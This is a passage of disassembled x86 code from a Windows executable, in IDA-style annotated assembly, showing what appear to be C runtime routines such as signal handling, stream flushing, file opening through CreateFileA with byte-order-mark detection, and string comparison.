		mov	ecx, [edi+64h]
		mov	[ebp+var_30], ecx
		mov	dword ptr [edi+64h], 8Ch

loc_418055:				; CODE XREF: sub_417F3C+FCj
		cmp	ebx, 8
		jnz	short loc_418088
		mov	ecx, dword_423E18
		mov	[ebp+var_24], ecx

loc_418063:				; CODE XREF: sub_417F3C+14Aj
		mov	ecx, dword_423E1C
		mov	edx, dword_423E18
		add	ecx, edx
		cmp	[ebp+var_24], ecx
		jge	short loc_41808F
		mov	ecx, [ebp+var_24]
		imul	ecx, 0Ch
		mov	edx, [edi+5Ch]
		mov	[ecx+edx+8], eax
		inc	[ebp+var_24]
		jmp	short loc_418063
; ---------------------------------------------------------------------------

loc_418088:				; CODE XREF: sub_417F3C+10Aj
					; sub_417F3C+11Cj
		call	sub_40F66B
		mov	[esi], eax

loc_41808F:				; CODE XREF: sub_417F3C+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4180B0
		cmp	ebx, 8
		jnz	short sub_4180BF
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_4180C3
sub_417F3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4180AA	proc near		; DATA XREF: ev73vtp2:00421F30o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_4180AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4180B0	proc near		; CODE XREF: sub_417F3C+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_4180BE
		push	0
		call	sub_40FDFF
		pop	ecx

locret_4180BE:				; CODE XREF: sub_4180B0+4j
		retn
sub_4180B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180BF	proc near		; CODE XREF: sub_417F3C+162j
		push	ebx
		call	dword ptr [ebp-20h]

loc_4180C3:				; CODE XREF: sub_417F3C+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_4180D3
		cmp	ebx, 0Bh
		jz	short loc_4180D3
		cmp	ebx, 4
		jnz	short loc_4180E4

loc_4180D3:				; CODE XREF: sub_4180BF+8j
					; sub_4180BF+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_4180E4
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax

loc_4180E4:				; CODE XREF: sub_4180BF+12j
					; sub_4180BF+1Dj
		xor	eax, eax
sub_4180BF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_417F3C

loc_4180E6:				; CODE XREF: sub_417F3C+44j
					; sub_417F3C+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_417F3C

; =============== S U B	R O U T	I N E =======================================



sub_4180EC	proc near		; CODE XREF: sub_412269+21p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_426498, eax
		retn
sub_4180EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180F6	proc near		; CODE XREF: sub_412269+1Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4264A4, eax
		retn
sub_4180F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418100	proc near		; CODE XREF: sub_412410+Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421F38
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	1
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	3
		pop	edi

loc_41811F:				; CODE XREF: sub_418100+7Fj
		mov	[ebp+var_20], edi
		cmp	edi, dword_434E00
		jge	short loc_418181
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_433DE0
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_41817E
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_418151
		push	eax
		call	sub_40DA67
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418151
		inc	[ebp+var_1C]

loc_418151:				; CODE XREF: sub_418100+40j
					; sub_418100+4Cj
		cmp	edi, 14h
		jl	short loc_41817E
		mov	eax, dword_433DE0
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:off_41E170
		mov	eax, dword_433DE0
		push	dword ptr [esi+eax]
		call	sub_40DBA6
		pop	ecx
		mov	eax, dword_433DE0
		mov	[esi+eax], ebx

loc_41817E:				; CODE XREF: sub_418100+38j
					; sub_418100+54j
		inc	edi
		jmp	short loc_41811F
; ---------------------------------------------------------------------------

loc_418181:				; CODE XREF: sub_418100+28j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418196
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_418100	endp


; =============== S U B	R O U T	I N E =======================================



sub_418196	proc near		; CODE XREF: sub_418100+88p
					; DATA XREF: ev73vtp2:00421F50o
		push	1
		call	sub_40FDFF
		pop	ecx
		retn
sub_418196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41819F	proc near		; CODE XREF: sub_4187DD+72p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		test	byte ptr [ebp+arg_8], 80h
		push	edi
		push	10h
		mov	esi, eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_2], bl
		mov	[ebp+var_28], 0Ch
		mov	[ebp+var_24], ebx
		pop	edi
		jz	short loc_4181D1
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_4181DB
; ---------------------------------------------------------------------------

loc_4181D1:				; CODE XREF: sub_41819F+27j
		mov	[ebp+var_20], 1
		mov	[ebp+var_1], bl

loc_4181DB:				; CODE XREF: sub_41819F+30j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41A8F9
		test	eax, eax
		pop	ecx
		jz	short loc_4181F6
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_4181F6:				; CODE XREF: sub_41819F+48j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_412056
		test	eax, eax
		pop	ecx
		jz	short loc_418211
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_418211:				; CODE XREF: sub_41819F+63j
		mov	eax, 8000h
		test	[ebp+arg_8], eax
		jnz	short loc_41822D
		test	[ebp+arg_8], 74000h
		jnz	short loc_418229
		cmp	[ebp+var_14], eax
		jz	short loc_41822D

loc_418229:				; CODE XREF: sub_41819F+83j
		or	[ebp+var_1], 80h

loc_41822D:				; CODE XREF: sub_41819F+7Aj
					; sub_41819F+88j
		mov	eax, [ebp+arg_8]
		push	3
		pop	edx
		and	eax, edx
		sub	eax, ebx
		mov	ecx, 80000000h
		jz	short loc_41827C
		dec	eax
		jz	short loc_418273
		dec	eax
		jz	short loc_41826A

loc_418244:				; CODE XREF: sub_41819F+F6j
					; sub_41819F+14Fj ...
		call	sub_40FCC7
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40FCB4
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h
		jmp	loc_4186F9
; ---------------------------------------------------------------------------

loc_41826A:				; CODE XREF: sub_41819F+A3j
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41827F
; ---------------------------------------------------------------------------

loc_418273:				; CODE XREF: sub_41819F+A0j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41827F
; ---------------------------------------------------------------------------

loc_41827C:				; CODE XREF: sub_41819F+9Dj
		mov	[ebp+var_C], ecx

loc_41827F:				; CODE XREF: sub_41819F+D2j
					; sub_41819F+DBj
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		jz	short loc_4182BB
		sub	eax, edi
		jz	short loc_4182B2
		sub	eax, edi
		jz	short loc_4182A9
		sub	eax, edi
		jz	short loc_4182A4
		sub	eax, 40h
		jnz	short loc_418244
		xor	eax, eax
		cmp	[ebp+var_C], ecx
		setz	al
		mov	[ebp+var_8], eax
		jmp	short loc_4182BE
; ---------------------------------------------------------------------------

loc_4182A4:				; CODE XREF: sub_41819F+F1j
		mov	[ebp+var_8], edx
		jmp	short loc_4182BE
; ---------------------------------------------------------------------------

loc_4182A9:				; CODE XREF: sub_41819F+EDj
		mov	[ebp+var_8], 2
		jmp	short loc_4182BE
; ---------------------------------------------------------------------------

loc_4182B2:				; CODE XREF: sub_41819F+E9j
		mov	[ebp+var_8], 1
		jmp	short loc_4182BE
; ---------------------------------------------------------------------------

loc_4182BB:				; CODE XREF: sub_41819F+E5j
		mov	[ebp+var_8], ebx

loc_4182BE:				; CODE XREF: sub_41819F+103j
					; sub_41819F+108j ...
		mov	eax, [ebp+arg_8]
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		jg	short loc_41830F
		jz	short loc_418306
		cmp	eax, ebx
		jz	short loc_418306
		cmp	eax, 100h
		jz	short loc_4182FD
		cmp	eax, 200h
		jz	loc_418381
		cmp	eax, 300h
		jnz	loc_418244
		mov	[ebp+var_10], 2
		jmp	short loc_41832C
; ---------------------------------------------------------------------------

loc_4182FD:				; CODE XREF: sub_41819F+13Dj
		mov	[ebp+var_10], 4
		jmp	short loc_41832C
; ---------------------------------------------------------------------------

loc_418306:				; CODE XREF: sub_41819F+132j
					; sub_41819F+136j
		mov	[ebp+var_10], 3
		jmp	short loc_41832C
; ---------------------------------------------------------------------------

loc_41830F:				; CODE XREF: sub_41819F+130j
		cmp	eax, 500h
		jz	short loc_418325
		cmp	eax, 600h
		jz	short loc_418381
		cmp	eax, edx
		jnz	loc_418244

loc_418325:				; CODE XREF: sub_41819F+175j
		mov	[ebp+var_10], 1

loc_41832C:				; CODE XREF: sub_41819F+15Cj
					; sub_41819F+165j ...
		mov	ecx, [ebp+arg_8]
		mov	eax, 100h
		test	ecx, eax
		mov	edi, 80h
		jz	short loc_41834F
		mov	edx, dword_425FD4
		not	edx
		and	edx, [ebp+arg_10]
		test	dl, dl
		js	short loc_41834F
		xor	edi, edi
		inc	edi

loc_41834F:				; CODE XREF: sub_41819F+19Cj
					; sub_41819F+1ABj
		test	cl, 40h
		jz	short loc_41836B
		or	[ebp+var_C], 10000h
		or	edi, 4000000h
		cmp	[ebp+var_18], 2
		jnz	short loc_41836B
		or	[ebp+var_8], 4

loc_41836B:				; CODE XREF: sub_41819F+1B3j
					; sub_41819F+1C6j
		test	cx, 1000h
		jz	short loc_418374
		or	edi, eax

loc_418374:				; CODE XREF: sub_41819F+1D1j
		test	cl, 20h
		jz	short loc_41838A
		or	edi, 8000000h
		jmp	short loc_418395
; ---------------------------------------------------------------------------

loc_418381:				; CODE XREF: sub_41819F+144j
					; sub_41819F+17Cj
		mov	[ebp+var_10], 5
		jmp	short loc_41832C
; ---------------------------------------------------------------------------

loc_41838A:				; CODE XREF: sub_41819F+1D8j
		test	cl, 10h
		jz	short loc_418395
		or	edi, 10000000h

loc_418395:				; CODE XREF: sub_41819F+1E0j
					; sub_41819F+1EEj
		call	sub_418FDC
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4183B8
		call	sub_40FCC7
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40FCB4
		mov	dword ptr [eax], 18h
		jmp	short loc_418408
; ---------------------------------------------------------------------------

loc_4183B8:				; CODE XREF: sub_41819F+200j
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		push	[ebp+var_10]
		mov	dword ptr [eax], 1
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	ds:dword_41E06C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_418414
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh

loc_4183FB:				; CODE XREF: sub_41819F+2A2j
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		push	eax
		call	sub_40FCDA

loc_418407:				; CODE XREF: sub_41819F+345j
		pop	ecx

loc_418408:				; CODE XREF: sub_41819F+217j
		call	sub_40FCB4
		mov	eax, [eax]
		jmp	loc_4187D8
; ---------------------------------------------------------------------------

loc_418414:				; CODE XREF: sub_41819F+23Fj
		push	edi
		call	ds:dword_41E148	; GetFileType
		cmp	eax, ebx
		jnz	short loc_418443
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh
		push	edi
		call	ds:dword_41E0E0	; CloseHandle
		jmp	short loc_4183FB
; ---------------------------------------------------------------------------

loc_418443:				; CODE XREF: sub_41819F+27Ej
		cmp	eax, 2
		jnz	short loc_41844E
		or	[ebp+var_1], 40h
		jmp	short loc_418457
; ---------------------------------------------------------------------------

loc_41844E:				; CODE XREF: sub_41819F+2A7j
		cmp	eax, 3
		jnz	short loc_418457
		or	[ebp+var_1], 8

loc_418457:				; CODE XREF: sub_41819F+2ADj
					; sub_41819F+2B2j
		push	edi
		push	dword ptr [esi]
		call	sub_418DAB
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_433CE0[edx*4]
		pop	ecx
		pop	ecx
		mov	cl, [ebp+var_1]
		or	cl, 1
		mov	[edx+eax+4], cl
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_433CE0[edx*4]
		lea	eax, [edx+eax+24h]
		and	byte ptr [eax],	80h
		mov	[ebp+var_3], cl
		and	[ebp+var_3], 48h
		mov	[ebp+var_1], cl
		jnz	loc_41852A
		test	cl, 80h
		jz	loc_418764
		test	byte ptr [ebp+arg_8], 2
		jz	short loc_41852A
		push	2
		or	edi, 0FFFFFFFFh
		push	edi
		push	dword ptr [esi]
		call	sub_41A7CB
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_4184E9
		call	sub_40FCC7
		cmp	dword ptr [eax], 83h
		jz	short loc_41852A

loc_4184DD:				; CODE XREF: sub_41819F+379j
					; sub_41819F+389j ...
		push	dword ptr [esi]
		call	sub_412D21
		jmp	loc_418407
; ---------------------------------------------------------------------------

loc_4184E9:				; CODE XREF: sub_41819F+32Fj
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_4], bl
		call	sub_41407D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41851A
		cmp	[ebp+var_4], 1Ah
		jnz	short loc_41851A
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		push	dword ptr [esi]
		call	sub_41A617
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_4184DD

loc_41851A:				; CODE XREF: sub_41819F+35Fj
					; sub_41819F+365j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41A7CB
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_4184DD

loc_41852A:				; CODE XREF: sub_41819F+305j
					; sub_41819F+318j ...
		test	[ebp+var_1], 80h
		jz	loc_418764
		mov	ecx, 74000h
		test	[ebp+arg_8], ecx
		mov	edi, 4000h
		jnz	short loc_418552
		mov	eax, [ebp+var_14]
		and	eax, ecx
		jnz	short loc_41854F
		or	[ebp+arg_8], edi
		jmp	short loc_418552
; ---------------------------------------------------------------------------

loc_41854F:				; CODE XREF: sub_41819F+3A9j
		or	[ebp+arg_8], eax

loc_418552:				; CODE XREF: sub_41819F+3A2j
					; sub_41819F+3AEj
		mov	eax, [ebp+arg_8]
		and	eax, ecx
		cmp	eax, edi
		jz	short loc_41859F
		cmp	eax, 10000h
		jz	short loc_41858B
		cmp	eax, 14000h
		jz	short loc_41858B
		cmp	eax, 20000h
		jz	short loc_418599
		cmp	eax, 24000h
		jz	short loc_418599
		cmp	eax, 40000h
		jz	short loc_418585
		cmp	eax, 44000h
		jnz	short loc_4185A2

loc_418585:				; CODE XREF: sub_41819F+3DDj
		mov	[ebp+var_2], 1
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------

loc_41858B:				; CODE XREF: sub_41819F+3C1j
					; sub_41819F+3C8j
		mov	ecx, [ebp+arg_8]
		mov	eax, 301h
		and	ecx, eax
		cmp	ecx, eax
		jnz	short loc_4185A2

loc_418599:				; CODE XREF: sub_41819F+3CFj
					; sub_41819F+3D6j
		mov	[ebp+var_2], 2
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------

loc_41859F:				; CODE XREF: sub_41819F+3BAj
		mov	[ebp+var_2], bl

loc_4185A2:				; CODE XREF: sub_41819F+3E4j
					; sub_41819F+3EAj ...
		test	[ebp+arg_8], 70000h
		jz	loc_418764
		test	[ebp+var_1], 40h
		mov	[ebp+var_8], ebx
		jnz	loc_418764
		mov	eax, [ebp+var_C]
		mov	ecx, 0C0000000h
		and	eax, ecx
		cmp	eax, 40000000h
		jz	loc_418688
		cmp	eax, 80000000h
		jz	short loc_41864F
		cmp	eax, ecx
		jnz	loc_418764
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_418764
		cmp	eax, 2
		jbe	short loc_4185FE
		cmp	eax, 4
		jbe	short loc_418625

loc_4185F5:				; CODE XREF: sub_41819F+500j
		cmp	eax, 5
		jnz	loc_418764

loc_4185FE:				; CODE XREF: sub_41819F+44Fj
					; sub_41819F+496j ...
		movsx	eax, [ebp+var_2]
		xor	edi, edi
		dec	eax
		jz	loc_418731
		dec	eax
		jnz	loc_418764
		mov	[ebp+var_8], 0FEFFh
		mov	[ebp+var_10], 2
		jmp	loc_41873F
; ---------------------------------------------------------------------------

loc_418625:				; CODE XREF: sub_41819F+454j
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416F7E
		add	esp, 10h
		or	eax, edx
		jz	short loc_4185FE
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416F7E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4184DD

loc_41864F:				; CODE XREF: sub_41819F+437j
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_41407D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4184DD
		cmp	eax, 2
		jz	short loc_4186D8
		cmp	eax, 3
		jnz	loc_418723
		cmp	[ebp+var_8], 0BFBBEFh
		jnz	short loc_4186D8
		mov	[ebp+var_2], 1
		jmp	loc_418764
; ---------------------------------------------------------------------------

loc_418688:				; CODE XREF: sub_41819F+42Cj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_418764
		cmp	eax, 2
		jbe	loc_4185FE
		cmp	eax, 4
		ja	loc_4185F5
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416F7E
		add	esp, 10h
		or	eax, edx
		jz	loc_4185FE
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_416F7E
		add	esp, 10h
		and	eax, edx

loc_4186CA:				; CODE XREF: sub_41819F+590j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_418764
		jmp	loc_4184DD
; ---------------------------------------------------------------------------

loc_4186D8:				; CODE XREF: sub_41819F+4CCj
					; sub_41819F+4DEj
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		cmp	eax, 0FFFEh
		jnz	short loc_418700
		push	dword ptr [esi]
		call	sub_412D21
		pop	ecx
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_4186F9:				; CODE XREF: sub_41819F+C6j
		mov	eax, esi
		jmp	loc_4187D8
; ---------------------------------------------------------------------------

loc_418700:				; CODE XREF: sub_41819F+546j
		cmp	eax, 0FEFFh
		jnz	short loc_418723
		push	ebx
		push	2
		push	dword ptr [esi]
		call	sub_41A7CB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4184DD
		mov	[ebp+var_2], 2
		jmp	short loc_418764
; ---------------------------------------------------------------------------

loc_418723:				; CODE XREF: sub_41819F+4D1j
					; sub_41819F+566j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41A7CB
		add	esp, 0Ch
		jmp	short loc_4186CA
; ---------------------------------------------------------------------------

loc_418731:				; CODE XREF: sub_41819F+466j
		mov	[ebp+var_8], 0BFBBEFh
		mov	[ebp+var_10], 3

loc_41873F:				; CODE XREF: sub_41819F+481j
					; sub_41819F+5C3j
		mov	eax, [ebp+var_10]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_4176E0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4184DD
		add	edi, eax
		cmp	[ebp+var_10], edi
		jg	short loc_41873F

loc_418764:				; CODE XREF: sub_41819F+30Ej
					; sub_41819F+38Fj ...
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433CE0[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	cl, [eax]
		xor	cl, [ebp+var_2]
		and	cl, 7Fh
		xor	[eax], cl
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_433CE0[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	ecx, [ebp+arg_8]
		mov	dl, [eax]
		shr	ecx, 10h
		shl	cl, 7
		and	dl, 7Fh
		or	cl, dl
		cmp	[ebp+var_3], bl
		mov	[eax], cl
		jnz	short loc_4187D6
		test	byte ptr [ebp+arg_8], 8
		jz	short loc_4187D6
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	20h

loc_4187D6:				; CODE XREF: sub_41819F+614j
					; sub_41819F+61Aj
		mov	eax, ebx

loc_4187D8:				; CODE XREF: sub_41819F+270j
					; sub_41819F+55Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41819F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187DD	proc near		; CODE XREF: sub_4188A9+14p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	14h
		push	offset dword_421F58
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		xor	eax, eax
		mov	edi, [ebp+arg_10]
		cmp	edi, esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_418817

loc_4187FC:				; CODE XREF: sub_4187DD+47j
					; sub_4187DD+5Bj
		call	sub_40FCB4
		push	16h
		pop	edi
		mov	[eax], edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, edi
		jmp	short loc_418870
; ---------------------------------------------------------------------------

loc_418817:				; CODE XREF: sub_4187DD+1Dj
		or	dword ptr [edi], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_4187FC
		cmp	[ebp+arg_14], esi
		jz	short loc_41883A
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFFFE7Fh
		neg	eax
		sbb	eax, eax
		inc	eax
		jz	short loc_4187FC

loc_41883A:				; CODE XREF: sub_4187DD+4Cj
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, edi
		call	sub_41819F
		add	esp, 14h
		mov	[ebp+var_20], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41887B
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		jz	short loc_418870
		or	dword ptr [edi], 0FFFFFFFFh

loc_418870:				; CODE XREF: sub_4187DD+38j
					; sub_4187DD+8Ej
		call	__SEH_epilog4
		retn
sub_4187DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_418876	proc near		; DATA XREF: ev73vtp2:00421F70o
		xor	esi, esi
		mov	edi, [ebp+18h]
sub_418876	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41887B	proc near		; CODE XREF: sub_4187DD+84p
		cmp	[ebp-1Ch], esi
		jz	short locret_4188A8
		cmp	[ebp-20h], esi
		jz	short loc_4188A0
		mov	eax, [edi]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		imul	eax, 28h
		mov	ecx, dword_433CE0[ecx*4]
		lea	eax, [ecx+eax+4]
		and	byte ptr [eax],	0FEh

loc_4188A0:				; CODE XREF: sub_41887B+8j
		push	dword ptr [edi]
		call	sub_418FBA
		pop	ecx

locret_4188A8:				; CODE XREF: sub_41887B+3j
		retn
sub_41887B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A9	proc near		; CODE XREF: sub_4124D4+26Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4187DD
		add	esp, 18h
		pop	ebp
		retn
sub_4188A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188C7	proc near		; CODE XREF: sub_418AE1+Ap

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_14]
		call	sub_40AFFD
		mov	edx, [ebp+arg_0]
		xor	esi, esi
		cmp	edx, esi
		jnz	short loc_418911
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_418907
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_418907:				; CODE XREF: sub_4188C7+37j
		mov	eax, 7FFFFFFFh
		jmp	loc_418ADE
; ---------------------------------------------------------------------------

loc_418911:				; CODE XREF: sub_4188C7+19j
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, esi
		jnz	short loc_418948
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_41893E
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41893E:				; CODE XREF: sub_4188C7+6Ej
		mov	eax, 7FFFFFFFh
		jmp	loc_418ADD
; ---------------------------------------------------------------------------

loc_418948:				; CODE XREF: sub_4188C7+50j
		mov	eax, [ebp+var_10]
		cmp	[eax+8], esi
		jnz	short loc_418974
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	edx
		call	sub_40B0B4
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	loc_418ADD
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_418ADD
; ---------------------------------------------------------------------------

loc_418974:				; CODE XREF: sub_4188C7+87j
		push	edi
		mov	edi, 200h

loc_41897A:				; CODE XREF: sub_4188C7+1CDj
		movzx	cx, byte ptr [edx]
		movzx	ecx, cx
		movzx	esi, cl
		inc	edx
		test	byte ptr [esi+eax+1Dh],	4
		mov	[ebp+arg_0], edx
		jz	short loc_4189E8
		cmp	byte ptr [edx],	0
		jnz	short loc_418998
		xor	esi, esi
		jmp	short loc_418A04
; ---------------------------------------------------------------------------

loc_418998:				; CODE XREF: sub_4188C7+CBj
		push	1
		push	dword ptr [eax+4]
		lea	ecx, [ebp+var_4]
		push	2
		push	ecx
		push	2
		dec	edx
		push	edx
		push	edi
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4165B9
		add	esp, 24h
		cmp	eax, 1
